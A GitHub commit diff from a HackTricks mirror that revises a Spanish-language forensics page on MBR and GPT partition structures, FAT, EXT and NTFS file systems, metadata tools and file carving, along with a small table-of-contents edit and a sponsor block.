mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-16 14:08:26 +00:00
Translated ['forensics/basic-forensic-methodology/partitions-file-system
This commit is contained in:
parent
6e8e8a833d
commit
d880f9dc7f
41 changed files with 2440 additions and 5150 deletions
|
@ -485,10 +485,6 @@
|
|||
* [1433 - Pentesting MSSQL - Microsoft SQL Server](network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md)
|
||||
* [Types of MSSQL Users](network-services-pentesting/pentesting-mssql-microsoft-sql-server/types-of-mssql-users.md)
|
||||
* [1521,1522-1529 - Pentesting Oracle TNS Listener](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md)
|
||||
* [Oracle Pentesting requirements installation](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-pentesting-requirements-installation.md)
|
||||
* [TNS Poison](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/tns-poison.md)
|
||||
* [Remote stealth pass brute force](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md)
|
||||
* [Oracle RCE & more](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-rce-and-more.md)
|
||||
* [1723 - Pentesting PPTP](network-services-pentesting/1723-pentesting-pptp.md)
|
||||
* [1883 - Pentesting MQTT (Mosquitto)](network-services-pentesting/1883-pentesting-mqtt-mosquitto.md)
|
||||
* [2049 - Pentesting NFS Service](network-services-pentesting/nfs-service-pentesting.md)
|
||||
|
|
|
@ -4,64 +4,64 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
## Particiones
|
||||
|
||||
Un disco duro o un **SSD puede contener diferentes particiones** con el objetivo de separar datos físicamente.\
|
||||
La **unidad mínima** de un disco es el **sector** (normalmente compuesto de 512B). Por lo tanto, el tamaño de cada partición debe ser múltiplo de ese tamaño.
|
||||
Un disco duro o un **disco SSD puede contener diferentes particiones** con el objetivo de separar físicamente los datos.\
|
||||
La unidad **mínima** de un disco es el **sector** (normalmente compuesto por 512B). Por lo tanto, el tamaño de cada partición debe ser múltiplo de ese tamaño.
|
||||
|
||||
### MBR (Master Boot Record)
|
||||
### MBR (Registro de Arranque Principal)
|
||||
|
||||
Se encuentra en el **primer sector del disco después de los 446B del código de arranque**. Este sector es esencial para indicar al PC qué y desde dónde debe montarse una partición.\
|
||||
Permite hasta **4 particiones** (como máximo **solo 1** puede ser activa/**arrancable**). Sin embargo, si necesitas más particiones puedes usar **particiones extendidas**. El **byte final** de este primer sector es la firma del registro de arranque **0x55AA**. Solo una partición puede ser marcada como activa.\
|
||||
MBR permite un **máximo de 2.2TB**.
|
||||
Se encuentra en el **primer sector del disco después de los 446B del código de arranque**. Este sector es esencial para indicar a la PC qué y desde dónde se debe montar una partición.\
|
||||
Permite hasta **4 particiones** (como máximo **solo 1** puede ser activa/**de arranque**). Sin embargo, si se necesitan más particiones se pueden usar **particiones extendidas**. El **último byte** de este primer sector es la firma del registro de arranque **0x55AA**. Solo una partición puede estar marcada como activa.\
|
||||
MBR permite **máximo 2.2TB**.
|
||||
|
||||
![](<../../../.gitbook/assets/image (489).png>)
|
||||
|
||||
![](<../../../.gitbook/assets/image (490).png>)
|
||||
|
||||
Desde los **bytes 440 al 443** del MBR puedes encontrar la **Firma de Disco de Windows** (si se usa Windows). La letra de unidad lógica del disco duro depende de la Firma de Disco de Windows. Cambiar esta firma podría impedir que Windows arranque (herramienta: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
|
||||
Desde los **bytes 440 a 443** del MBR se puede encontrar la **Firma del Disco de Windows** (si se usa Windows). La letra de unidad lógica del disco duro depende de la Firma del Disco de Windows. Cambiar esta firma podría evitar que Windows se inicie (herramienta: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
|
||||
|
||||
![](<../../../.gitbook/assets/image (493).png>)
|
||||
|
||||
**Formato**
|
||||
|
||||
| Desplazamiento | Longitud | Elemento |
|
||||
| -------------- | --------- | -------------------- |
|
||||
| 0 (0x00) | 446(0x1BE)| Código de arranque |
|
||||
| 446 (0x1BE) | 16 (0x10) | Primera Partición |
|
||||
| 462 (0x1CE) | 16 (0x10) | Segunda Partición |
|
||||
| 478 (0x1DE) | 16 (0x10) | Tercera Partición |
|
||||
| 494 (0x1EE) | 16 (0x10) | Cuarta Partición |
|
||||
| 510 (0x1FE) | 2 (0x2) | Firma 0x55 0xAA |
|
||||
| Offset | Longitud | Elemento |
|
||||
| ----------- | ---------- | ------------------- |
|
||||
| 0 (0x00) | 446(0x1BE) | Código de arranque |
|
||||
| 446 (0x1BE) | 16 (0x10) | Primera Partición |
|
||||
| 462 (0x1CE) | 16 (0x10) | Segunda Partición |
|
||||
| 478 (0x1DE) | 16 (0x10) | Tercera Partición |
|
||||
| 494 (0x1EE) | 16 (0x10) | Cuarta Partición |
|
||||
| 510 (0x1FE) | 2 (0x2) | Firma 0x55 0xAA |
|
||||
|
||||
**Formato de Registro de Partición**
|
||||
**Formato del Registro de Partición**
|
||||
|
||||
| Desplazamiento | Longitud | Elemento |
|
||||
| -------------- | --------- | ------------------------------------------------------ |
|
||||
| 0 (0x00) | 1 (0x01) | Bandera activa (0x80 = arrancable) |
|
||||
| 1 (0x01) | 1 (0x01) | Cabeza inicial |
|
||||
| 2 (0x02) | 1 (0x01) | Sector inicial (bits 0-5); bits altos del cilindro (6-7)|
|
||||
| 3 (0x03) | 1 (0x01) | Cilindro inicial 8 bits más bajos |
|
||||
| 4 (0x04) | 1 (0x01) | Código de tipo de partición (0x83 = Linux) |
|
||||
| 5 (0x05) | 1 (0x01) | Cabeza final |
|
||||
| 6 (0x06) | 1 (0x01) | Sector final (bits 0-5); bits altos del cilindro (6-7) |
|
||||
| 7 (0x07) | 1 (0x01) | Cilindro final 8 bits más bajos |
|
||||
| 8 (0x08) | 4 (0x04) | Sectores que preceden a la partición (little endian) |
|
||||
| 12 (0x0C) | 4 (0x04) | Sectores en la partición |
|
||||
| Offset | Longitud | Elemento |
|
||||
| --------- | -------- | --------------------------------------------------------- |
|
||||
| 0 (0x00) | 1 (0x01) | Bandera activa (0x80 = de arranque) |
|
||||
| 1 (0x01) | 1 (0x01) | Cabeza de inicio |
|
||||
| 2 (0x02) | 1 (0x01) | Sector de inicio (bits 0-5); bits superiores del cilindro (6- 7) |
|
||||
| 3 (0x03) | 1 (0x01) | Bits más bajos del cilindro de inicio |
|
||||
| 4 (0x04) | 1 (0x01) | Código de tipo de partición (0x83 = Linux) |
|
||||
| 5 (0x05) | 1 (0x01) | Cabeza final |
|
||||
| 6 (0x06) | 1 (0x01) | Sector final (bits 0-5); bits superiores del cilindro (6- 7) |
|
||||
| 7 (0x07) | 1 (0x01) | Bits más bajos del cilindro final |
|
||||
| 8 (0x08) | 4 (0x04) | Sectores previos a la partición (poco endian) |
|
||||
| 12 (0x0C) | 4 (0x04) | Sectores en la partición |
|
||||
|
||||
Para montar un MBR en Linux primero necesitas obtener el desplazamiento inicial (puedes usar `fdisk` y el comando `p`)
|
||||
Para montar un MBR en Linux primero necesitas obtener el desplazamiento de inicio (puedes usar `fdisk` y el comando `p`)
|
||||
|
||||
![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>)
|
||||
|
||||
|
@ -72,67 +72,67 @@ mount -o ro,loop,offset=<Bytes>
|
|||
#63x512 = 32256Bytes
|
||||
mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
|
||||
```
|
||||
**LBA (Logical block addressing)**
|
||||
**LBA (Dirección de bloque lógico)**
|
||||
|
||||
**La dirección de bloque lógico** (**LBA**) es un esquema común utilizado para **especificar la ubicación de bloques** de datos almacenados en dispositivos de almacenamiento de computadoras, generalmente sistemas de almacenamiento secundario como discos duros. LBA es un esquema de direccionamiento lineal particularmente simple; **los bloques se ubican mediante un índice entero**, siendo el primer bloque LBA 0, el segundo LBA 1, y así sucesivamente.
|
||||
**La dirección de bloque lógico** (**LBA**) es un esquema común utilizado para **especificar la ubicación de bloques** de datos almacenados en dispositivos de almacenamiento de computadoras, generalmente sistemas de almacenamiento secundario como discos duros. LBA es un esquema de direccionamiento lineal particularmente simple; **los bloques se localizan mediante un índice entero**, siendo el primer bloque LBA 0, el segundo LBA 1, y así sucesivamente.
|
||||
|
||||
### GPT (GUID Partition Table)
|
||||
### GPT (Tabla de particiones GUID)
|
||||
|
||||
Se llama Tabla de Particiones GUID porque cada partición en su unidad tiene un **identificador único a nivel mundial**.
|
||||
Se llama Tabla de Particiones GUID porque cada partición en su disco tiene un **identificador único global**.
|
||||
|
||||
Al igual que MBR, comienza en el **sector 0**. El MBR ocupa 32 bits mientras que **GPT** usa **64 bits**.\
|
||||
Al igual que MBR, comienza en el **sector 0**. El MBR ocupa 32 bits mientras que **GPT** utiliza **64 bits**.\
|
||||
GPT **permite hasta 128 particiones** en Windows y hasta **9.4ZB**.\
|
||||
Además, las particiones pueden tener un nombre Unicode de 36 caracteres.
|
||||
|
||||
En un disco MBR, los datos de particionamiento y arranque se almacenan en un solo lugar. Si estos datos se sobrescriben o se corrompen, tienes problemas. En contraste, **GPT almacena múltiples copias de estos datos a lo largo del disco**, por lo que es mucho más robusto y puede recuperarse si los datos están dañados.
|
||||
En un disco MBR, la partición y los datos de arranque se almacenan en un solo lugar. Si estos datos se sobrescriben o se corrompen, tendrás problemas. En contraste, **GPT almacena múltiples copias de estos datos en todo el disco**, por lo que es mucho más robusto y puede recuperarse si los datos se corrompen.
|
||||
|
||||
GPT también almacena valores de **verificación de redundancia cíclica (CRC)** para verificar que sus datos estén intactos. Si los datos están dañados, GPT puede notar el problema e **intentar recuperar los datos dañados** de otra ubicación en el disco.
|
||||
GPT también almacena valores de **verificación de redundancia cíclica (CRC)** para verificar que sus datos estén intactos. Si los datos se corrompen, GPT puede detectar el problema e **intentar recuperar los datos dañados** desde otra ubicación en el disco.
|
||||
|
||||
**MBR protector (LBA0)**
|
||||
|
||||
Para compatibilidad limitada hacia atrás, el espacio del MBR legado aún se reserva en la especificación de GPT, pero ahora se utiliza de una **manera que evita que las utilidades de disco basadas en MBR reconozcan erróneamente y posiblemente sobrescriban discos GPT**. Esto se conoce como un MBR protector.
|
||||
Para una compatibilidad hacia atrás limitada, el espacio del MBR heredado todavía se reserva en la especificación GPT, pero ahora se utiliza de una **manera que evita que las utilidades de disco basadas en MBR mal reconozcan y posiblemente sobrescriban los discos GPT**. Esto se conoce como un MBR protector.
|
||||
|
||||
![](<../../../.gitbook/assets/image (491).png>)
|
||||
|
||||
**MBR híbrido (LBA 0 + GPT)**
|
||||
|
||||
En sistemas operativos que admiten el arranque **basado en GPT a través de servicios BIOS** en lugar de EFI, el primer sector también puede usarse para almacenar la primera etapa del código del **bootloader**, pero **modificado** para reconocer **particiones GPT**. El bootloader en el MBR no debe asumir un tamaño de sector de 512 bytes.
|
||||
En sistemas operativos que admiten **arranque basado en GPT a través de servicios BIOS** en lugar de EFI, el primer sector también puede seguir utilizándose para almacenar la primera etapa del código del **cargador de arranque**, pero **modificado** para reconocer **particiones GPT**. El cargador de arranque en el MBR no debe asumir un tamaño de sector de 512 bytes.
|
||||
|
||||
**Encabezado de la tabla de particiones (LBA 1)**
|
||||
|
||||
El encabezado de la tabla de particiones define los bloques utilizables en el disco. También define el número y tamaño de las entradas de partición que componen la tabla de particiones (desplazamientos 80 y 84 en la tabla).
|
||||
El encabezado de la tabla de particiones define los bloques utilizables en el disco. También define el número y tamaño de las entradas de partición que conforman la tabla de particiones (desplazamientos 80 y 84 en la tabla).
|
||||
|
||||
| Desplazamiento | Longitud | Contenidos |
|
||||
| Desplazamiento | Longitud | Contenido |
|
||||
| -------------- | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| 0 (0x00) | 8 bytes | Firma ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h o 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8) en máquinas little-endian) |
|
||||
| 0 (0x00) | 8 bytes | Firma ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h o 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8)en máquinas little-endian) |
|
||||
| 8 (0x08) | 4 bytes | Revisión 1.0 (00h 00h 01h 00h) para UEFI 2.8 |
|
||||
| 12 (0x0C) | 4 bytes | Tamaño del encabezado en little endian (en bytes, usualmente 5Ch 00h 00h 00h o 92 bytes) |
|
||||
| 16 (0x10) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) del encabezado (desplazamiento +0 hasta el tamaño del encabezado) en little endian, con este campo puesto a cero durante el cálculo |
|
||||
| 20 (0x14) | 4 bytes | Reservado; debe ser cero |
|
||||
| 24 (0x18) | 8 bytes | LBA actual (ubicación de esta copia del encabezado) |
|
||||
| 32 (0x20) | 8 bytes | LBA de respaldo (ubicación de la otra copia del encabezado) |
|
||||
| 40 (0x28) | 8 bytes | Primer LBA utilizable para particiones (último LBA de la tabla de particiones primaria + 1) |
|
||||
| 48 (0x30) | 8 bytes | Último LBA utilizable (primer LBA de la tabla de particiones secundaria − 1) |
|
||||
| 56 (0x38) | 16 bytes | GUID del disco en endian mixto |
|
||||
| 72 (0x48) | 8 bytes | LBA de inicio de un arreglo de entradas de partición (siempre 2 en la copia primaria) |
|
||||
| 80 (0x50) | 4 bytes | Número de entradas de partición en el arreglo |
|
||||
| 84 (0x54) | 4 bytes | Tamaño de una sola entrada de partición (usualmente 80h o 128) |
|
||||
| 88 (0x58) | 4 bytes | CRC32 del arreglo de entradas de partición en little endian |
|
||||
| 92 (0x5C) | \* | Reservado; debe ser ceros para el resto del bloque (420 bytes para un tamaño de sector de 512 bytes; pero puede ser más con tamaños de sector mayores) |
|
||||
| 12 (0x0C) | 4 bytes | Tamaño del encabezado en little-endian (en bytes, generalmente 5Ch 00h 00h 00h o 92 bytes) |
|
||||
| 16 (0x10) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) del encabezado (desplazamiento +0 hasta tamaño del encabezado) en little-endian, con este campo en cero durante el cálculo |
|
||||
| 20 (0x14) | 4 bytes | Reservado; debe ser cero |
|
||||
| 24 (0x18) | 8 bytes | LBA actual (ubicación de esta copia del encabezado) |
|
||||
| 32 (0x20) | 8 bytes | LBA de respaldo (ubicación de la otra copia del encabezado) |
|
||||
| 40 (0x28) | 8 bytes | Primer LBA utilizable para particiones (último LBA de la tabla de particiones primaria + 1) |
|
||||
| 48 (0x30) | 8 bytes | Último LBA utilizable (primer LBA de la tabla de particiones secundaria − 1) |
|
||||
| 56 (0x38) | 16 bytes | GUID del disco en endian mixto |
|
||||
| 72 (0x48) | 8 bytes | LBA de inicio de una matriz de entradas de partición (siempre 2 en la copia primaria) |
|
||||
| 80 (0x50) | 4 bytes | Número de entradas de partición en la matriz |
|
||||
| 84 (0x54) | 4 bytes | Tamaño de una sola entrada de partición (generalmente 80h o 128) |
|
||||
| 88 (0x58) | 4 bytes | CRC32 de la matriz de entradas de partición en little-endian |
|
||||
| 92 (0x5C) | \* | Reservado; deben ser ceros para el resto del bloque (420 bytes para un tamaño de sector de 512 bytes; pero puede ser más con tamaños de sector más grandes) |
|
||||
|
||||
**Entradas de partición (LBA 2–33)**
|
||||
**Entradas de particiones (LBA 2–33)**
|
||||
|
||||
| Formato de entrada de partición GUID | | |
|
||||
| ------------------------------------ | -------- | ----------------------------------------------------------------------------------------------------------------- |
|
||||
| Desplazamiento | Longitud | Contenidos |
|
||||
| 0 (0x00) | 16 bytes | [GUID del tipo de partición](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs) (endian mixto) |
|
||||
| 16 (0x10) | 16 bytes | GUID único de la partición (endian mixto) |
|
||||
| 32 (0x20) | 8 bytes | Primer LBA ([little endian](https://en.wikipedia.org/wiki/Little\_endian)) |
|
||||
| 40 (0x28) | 8 bytes | Último LBA (inclusivo, usualmente impar) |
|
||||
| 48 (0x30) | 8 bytes | Banderas de atributos (por ejemplo, el bit 60 denota solo lectura) |
|
||||
| 56 (0x38) | 72 bytes | Nombre de la partición (36 unidades de código [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE) |
|
||||
| ----------------------------------- | -------- | ----------------------------------------------------------------------------------------------------------------- |
|
||||
| Desplazamiento | Longitud | Contenido |
|
||||
| 0 (0x00) | 16 bytes | [GUID del tipo de partición](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs) (endian mixto) |
|
||||
| 16 (0x10) | 16 bytes | GUID de partición único (endian mixto) |
|
||||
| 32 (0x20) | 8 bytes | Primer LBA ([little-endian](https://en.wikipedia.org/wiki/Little\_endian)) |
|
||||
| 40 (0x28) | 8 bytes | Último LBA (inclusive, generalmente impar) |
|
||||
| 48 (0x30) | 8 bytes | Banderas de atributo (por ejemplo, el bit 60 denota solo lectura) |
|
||||
| 56 (0x38) | 72 bytes | Nombre de la partición (36 unidades de código [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE) |
|
||||
|
||||
**Tipos de Particiones**
|
||||
**Tipos de particiones**
|
||||
|
||||
![](<../../../.gitbook/assets/image (492).png>)
|
||||
|
||||
|
@ -140,13 +140,13 @@ Más tipos de particiones en [https://en.wikipedia.org/wiki/GUID\_Partition\_Tab
|
|||
|
||||
### Inspección
|
||||
|
||||
Después de montar la imagen forense con [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), puedes inspeccionar el primer sector utilizando la herramienta de Windows [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** En la siguiente imagen se detectó un **MBR** en el **sector 0** e interpretado:
|
||||
Después de montar la imagen forense con [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), puedes inspeccionar el primer sector usando la herramienta de Windows [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** En la siguiente imagen se detectó un **MBR** en el **sector 0** e interpretado:
|
||||
|
||||
![](<../../../.gitbook/assets/image (494).png>)
|
||||
|
||||
Si fuera una **tabla GPT en lugar de un MBR** debería aparecer la firma _EFI PART_ en el **sector 1** (que en la imagen anterior está vacío).
|
||||
Si fuera una **tabla GPT en lugar de un MBR**, debería aparecer la firma _EFI PART_ en el **sector 1** (que en la imagen anterior está vacío).
|
||||
|
||||
## Sistemas de Archivos
|
||||
## Sistemas de archivos
|
||||
|
||||
### Lista de sistemas de archivos de Windows
|
||||
|
||||
|
@ -158,27 +158,27 @@ Si fuera una **tabla GPT en lugar de un MBR** debería aparecer la firma _EFI PA
|
|||
|
||||
### FAT
|
||||
|
||||
El sistema de archivos **FAT (File Allocation Table)** se llama así por su método de organización, la tabla de asignación de archivos, que se encuentra al principio del volumen. Para proteger el volumen, se mantienen **dos copias** de la tabla, en caso de que una se dañe. Además, las tablas de asignación de archivos y la carpeta raíz deben almacenarse en una **ubicación fija** para que los archivos necesarios para iniciar el sistema puedan ser localizados correctamente.
|
||||
El sistema de archivos **FAT (File Allocation Table)** recibe su nombre por su método de organización, la tabla de asignación de archivos, que reside al principio del volumen. Para proteger el volumen, se mantienen **dos copias** de la tabla, en caso de que una se dañe. Además, las tablas de asignación de archivos y la carpeta raíz deben almacenarse en una **ubicación fija** para que los archivos necesarios para iniciar el sistema se puedan ubicar correctamente.
|
||||
|
||||
![](<../../../.gitbook/assets/image (495).png>)
|
||||
|
||||
La unidad mínima de espacio utilizada por este sistema de archivos es un **cluster, típicamente 512B** (que está compuesto por varios sectores).
|
||||
La unidad de espacio mínimo utilizada por este sistema de archivos es un **clúster, típicamente de 512B** (que está compuesto por un número de sectores).
|
||||
|
||||
El anterior **FAT12** tenía direcciones de **cluster a valores de 12 bits** con hasta **4078** **clusters**; permitía hasta 4084 clusters con UNIX. El más eficiente **FAT16** aumentó a direcciones de cluster de **16 bits** permitiendo hasta **65,517 clusters** por volumen. FAT32 usa direcciones de cluster de 32 bits permitiendo hasta **268,435,456 clusters** por volumen
|
||||
El anterior **FAT12** tenía direcciones de clúster de **12 bits** con hasta **4078 clústeres**; permitía hasta 4084 clústeres con UNIX. El más eficiente **FAT16** aumentó a direcciones de clúster de **16 bits** permitiendo hasta **65,517 clústeres** por volumen. FAT32 utiliza direcciones de clúster de 32 bits permitiendo hasta **268,435,456 clústeres** por volumen.
|
||||
|
||||
El **tamaño máximo de archivo permitido por FAT es 4GB** (menos un byte) porque el sistema de archivos utiliza un campo de 32 bits para almacenar el tamaño del archivo en bytes, y 2^32 bytes = 4 GiB. Esto ocurre para FAT12, FAT16 y FAT32.
|
||||
El **tamaño máximo de archivo permitido por FAT es de 4GB** (menos un byte) porque el sistema de archivos utiliza un campo de 32 bits para almacenar el tamaño del archivo en bytes, y 2^32 bytes = 4 GiB. Esto ocurre para FAT12, FAT16 y FAT32.
|
||||
|
||||
El **directorio raíz** ocupa una **posición específica** tanto para FAT12 como para FAT16 (en FAT32 ocupa una posición como cualquier otra carpeta). Cada entrada de archivo/carpeta contiene esta información:
|
||||
|
||||
* Nombre del archivo/carpeta (máximo 8 caracteres)
|
||||
* Nombre del archivo/carpeta (máx. 8 caracteres)
|
||||
* Atributos
|
||||
* Fecha de creación
|
||||
* Fecha de modificación
|
||||
* Fecha de último acceso
|
||||
* Dirección de la tabla FAT donde comienza el primer cluster del archivo
|
||||
* Dirección de la tabla FAT donde comienza el primer clúster del archivo
|
||||
* Tamaño
|
||||
|
||||
Cuando un archivo se "elimina" usando un sistema de archivos FAT, la entrada del directorio permanece casi **sin cambios** excepto por el **primer carácter del nombre del archivo** (modificado a 0xE5), preservando la mayor parte del nombre del archivo "eliminado", junto con su sello de tiempo, longitud del archivo y — lo más importante — su ubicación física en el disco. La lista de clusters de disco ocupados por el archivo, sin embargo, se borrará de la Tabla de Asignación de Archivos, marcando esos sectores disponibles para su uso por otros archivos creados o modificados posteriormente. En el caso de FAT32, adicionalmente se borra un campo responsable de los 16 bits superiores del valor del cluster de inicio del archivo.
|
||||
Cuando se "elimina" un archivo utilizando un sistema de archivos FAT, la entrada del directorio permanece casi **inalterada** excepto por el **primer carácter del nombre del archivo** (modificado a 0xE5), preservando la mayor parte del nombre del archivo "eliminado", junto con su sello de tiempo, longitud del archivo y — lo más importante — su ubicación física en el disco. La lista de clústeres de disco ocupados por el archivo, sin embargo, se borrará de la Tabla de Asignación de Archivos, marcando esos sectores como disponibles para ser utilizados por otros archivos creados o modificados posteriormente. En el caso de FAT32, también se borra un campo adicional responsable de los 16 bits superiores del valor del clúster de inicio del archivo.
|
||||
|
||||
### **NTFS**
|
||||
|
||||
|
@ -188,7 +188,7 @@ Cuando un archivo se "elimina" usando un sistema de archivos FAT, la entrada del
|
|||
|
||||
### EXT
|
||||
|
||||
**Ext2** es el sistema de archivos más común para particiones **sin journaling** (**particiones que no cambian mucho**) como la partición de arranque. **Ext3/4** son **con journaling** y se utilizan generalmente para las **demás particiones**.
|
||||
**Ext2** es el sistema de archivos más común para particiones **sin registro** (**particiones que no cambian mucho**) como la partición de arranque. **Ext3/4** son **con registro** y se utilizan generalmente para las **otras particiones**.
|
||||
|
||||
{% content-ref url="ext.md" %}
|
||||
[ext.md](ext.md)
|
||||
|
@ -196,7 +196,7 @@ Cuando un archivo se "elimina" usando un sistema de archivos FAT, la entrada del
|
|||
|
||||
## **Metadatos**
|
||||
|
||||
Algunos archivos contienen metadatos. Esta información es sobre el contenido del archivo que a veces puede ser interesante para un analista ya que, dependiendo del tipo de archivo, podría tener información como:
|
||||
Algunos archivos contienen metadatos. Esta información es sobre el contenido del archivo que a veces puede resultar interesante para un analista, ya que dependiendo del tipo de archivo, podría contener información como:
|
||||
|
||||
* Título
|
||||
* Versión de MS Office utilizada
|
||||
|
@ -206,45 +206,45 @@ Algunos archivos contienen metadatos. Esta información es sobre el contenido de
|
|||
* Coordenadas GPS
|
||||
* Información de la imagen
|
||||
|
||||
Puedes usar herramientas como [**exiftool**](https://exiftool.org) y [**Metadiver**](https://www.easymetadata.com/metadiver-2/) para obtener los metadatos de un archivo.
|
||||
Puedes utilizar herramientas como [**exiftool**](https://exiftool.org) y [**Metadiver**](https://www.easymetadata.com/metadiver-2/) para obtener los metadatos de un archivo.
|
||||
|
||||
## **Recuperación de Archivos Eliminados**
|
||||
## **Recuperación de archivos eliminados**
|
||||
|
||||
### Archivos Eliminados Registrados
|
||||
### Archivos eliminados registrados
|
||||
|
||||
Como se vio anteriormente, hay varios lugares donde el archivo aún se guarda después de que fue "eliminado". Esto se debe a que generalmente la eliminación de un archivo de un sistema de archivos solo lo marca como eliminado, pero los datos no se tocan. Entonces, es posible inspeccionar los registros de los archivos (como el MFT) y encontrar los archivos eliminados.
|
||||
Como se vio anteriormente, hay varios lugares donde el archivo aún se guarda después de ser "eliminado". Esto se debe a que generalmente la eliminación de un archivo de un sistema de archivos solo lo marca como eliminado pero los datos no se tocan. Entonces, es posible inspeccionar los registros de los archivos (como el MFT) y encontrar los archivos eliminados.
|
||||
|
||||
Además, el sistema operativo generalmente guarda mucha información sobre cambios en el sistema de archivos y copias de seguridad, por lo que es posible intentar usarlos para recuperar el archivo o tanta información como sea posible.
|
||||
Además, el sistema operativo generalmente guarda mucha información sobre los cambios en el sistema de archivos y las copias de seguridad, por lo que es posible intentar usarlos para recuperar el archivo o la mayor cantidad de información posible.
|
||||
|
||||
{% content-ref url="file-data-carving-recovery-tools.md" %}
|
||||
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### **File Carving**
|
||||
### **Tallado de archivos**
|
||||
|
||||
**File carving** es una técnica que intenta **encontrar archivos en el volumen de datos**. Hay 3 formas principales en que herramientas como esta funcionan: **Basadas en encabezados y pies de página de tipos de archivos**, basadas en **estructuras de tipos de archivos** y basadas en el **contenido** en sí.
|
||||
El **tallado de archivos** es una técnica que intenta **encontrar archivos en el conjunto de datos**. Hay 3 formas principales en las que funcionan herramientas como esta: **Basadas en encabezados y pies de página de tipos de archivo**, basadas en **estructuras de tipos de archivo** y basadas en el **contenido** en sí.
|
||||
|
||||
Ten en cuenta que esta técnica **no funciona para recuperar archivos fragmentados**. Si un archivo **no se almacena en sectores contiguos**, entonces esta técnica no podrá encontrarlo o al menos parte de él.
|
||||
|
||||
Hay varias herramientas que puedes usar para File Carving indicando los tipos de archivos que deseas buscar.
|
||||
Hay varias herramientas que puedes usar para el tallado de archivos indicando los tipos de archivo que deseas buscar.
|
||||
|
||||
{% content-ref url="file-data-carving-recovery-tools.md" %}
|
||||
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Carving de Flujo de Datos
|
||||
### Tallado de **flujos de datos**
|
||||
|
||||
El Carving de Flujo de Datos es similar al File Carving pero **en lugar de buscar archivos completos, busca fragmentos de información interesantes**.\
|
||||
Por ejemplo, en lugar de buscar un archivo completo que contenga URLs registradas, esta técnica buscará URLs.
|
||||
El Tallado de Flujos de Datos es similar al Tallado de Archivos pero **en lugar de buscar archivos completos, busca fragmentos interesantes** de información.\
|
||||
Por ejemplo, en lugar de buscar un archivo completo que contenga URL registradas, esta técnica buscará URLs.
|
||||
|
||||
{% content-ref url="file-data-carving-recovery-tools.md" %}
|
||||
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
|
